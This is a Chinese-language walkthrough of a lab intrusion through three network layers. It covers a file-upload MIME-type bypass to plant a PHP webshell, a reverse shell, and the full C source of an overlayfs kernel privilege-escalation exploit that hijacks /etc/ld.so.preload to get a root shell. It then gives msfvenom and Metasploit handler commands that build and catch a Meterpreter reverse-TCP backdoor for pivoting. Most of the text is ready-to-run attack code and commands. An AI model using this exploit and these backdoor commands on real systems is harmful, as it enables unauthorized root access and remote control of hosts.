利用MSF实现三层网络的一次内网渗透

目标IP192.168.31.207

很明显这是一个文件上传的靶场

白名单限制各种尝试之后发现这是一个检测文件类型的限制

上传php大马文件后抓包修改其类型为 image/jpeg

上传大马之后发现目标是linux系统

尝试反弹一个shell成功了是www权限

查看内核版本如下

上传对应的cve进行提权

脚本如下：

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sched.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <sys/mount.h>

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sched.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <sys/mount.h>

#include <sys/types.h>

#include <signal.h>

#include <fcntl.h>

#include <string.h>

#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int

child_exec(void *stuff)

{

char *file;

system("rm -rf /tmp/ns_sploit");

mkdir("/tmp/ns_sploit", 0777);

mkdir("/tmp/ns_sploit/work", 0777);

mkdir("/tmp/ns_sploit/upper",0777);

mkdir("/tmp/ns_sploit/o",0777);

fprintf(stderr,"mount #1\n");

if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {

// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower

if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {

fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");

exit(-1);

}

file = ".access";

chmod("/tmp/ns_sploit/work/work",0777);

} else file = "ns_last_pid";

chdir("/tmp/ns_sploit/o");

rename(file,"ld.so.preload");

chdir("/");

umount("/tmp/ns_sploit/o");

fprintf(stderr,"mount #2\n");

if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {

if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {

exit(-1);

}

chmod("/tmp/ns_sploit/work/work",0777);

}

chmod("/tmp/ns_sploit/o/ld.so.preload",0777);

umount("/tmp/ns_sploit/o");

}

int

main(int argc, char **argv)

{

int status, fd, lib;

pid_t wrapper, init;

int clone_flags = CLONE_NEWNS | SIGCHLD;

fprintf(stderr,"spawning threads\n");

if((wrapper = fork()) == 0) {

if(unshare(CLONE_NEWUSER) != 0)

fprintf(stderr, "failed to create new user namespace\n");

if((init = fork()) == 0) {

pid_t pid =

clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);

if(pid < 0) {

fprintf(stderr, "failed to create new mount namespace\n");

exit(-1);

}

waitpid(pid, &status, 0);

}

waitpid(init, &status, 0);

return 0;

}

usleep(300000);

wait(NULL);

fprintf(stderr,"child threads done\n");

fd = open("/etc/ld.so.preload",O_WRONLY);

if(fd == -1) {

fprintf(stderr,"exploit failed\n");

exit(-1);

}

fprintf(stderr,"/etc/ld.so.preload created\n");

fprintf(stderr,"creating shared library\n");

lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);

write(lib,LIB,strlen(LIB));

close(lib);

lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");

if(lib != 0) {

fprintf(stderr,"couldn't create dynamic library\n");

exit(-1);

}

write(fd,"/tmp/ofs-lib.so\n",16);

close(fd);

system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");

execl("/bin/su","su",NULL);

}

上传脚本之后

gcc yun.c -o yun (gcc 编译yun.c是我得脚本名称-o是重命名为yun)

./yun (运行编译后的脚本)

ifconfig发现目标是双网卡

利用msf

生成后门msfenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.102LPORT=8686SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >8686.elf

通过大马把8686.elf后门上传到192.168.1.129

并在root权限的shell中运行./8686.elf

msf中监听对应的端口并设置监听机器的IP

use multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set lhost 192.168.31.102

set lport 8686

run